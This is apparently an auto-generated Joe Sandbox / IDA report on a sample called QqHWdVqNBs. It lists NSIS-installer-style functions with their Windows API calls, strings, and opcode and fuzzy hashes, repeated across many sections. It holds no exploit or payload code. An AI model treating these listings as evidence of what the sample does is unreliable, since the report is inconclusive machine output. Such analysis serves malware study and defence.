Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Non-executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNEL32(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNEL32(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
@rD, xrefs: 004053D7
New install of "%s" to "%s", xrefs: 00405182

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: a32262366b6956f6ce6576a17cc772d230ae976b6d31d5dbcf7d3a173ee933fc
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: a32262366b6956f6ce6576a17cc772d230ae976b6d31d5dbcf7d3a173ee933fc
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

M, xrefs: 00404B43
@, xrefs: 00404B90
N, xrefs: 00404C06
, xrefs: 00404F39

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

82D, xrefs: 004046DB
@%F, xrefs: 00404674
@rD, xrefs: 00404610
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 929039bad7d15a30b60f6521e1025dcf5eb1071aca27ca1d219e219807f84f48
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 929039bad7d15a30b60f6521e1025dcf5eb1071aca27ca1d219e219807f84f48
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 00406A53
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 0040682C

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b5b7ab79f27b5d75a187df3fe9f711fb4388b9579a399927462dc59dec62d440
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: b5b7ab79f27b5d75a187df3fe9f711fb4388b9579a399927462dc59dec62d440
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Unknown, xrefs: 004064FC
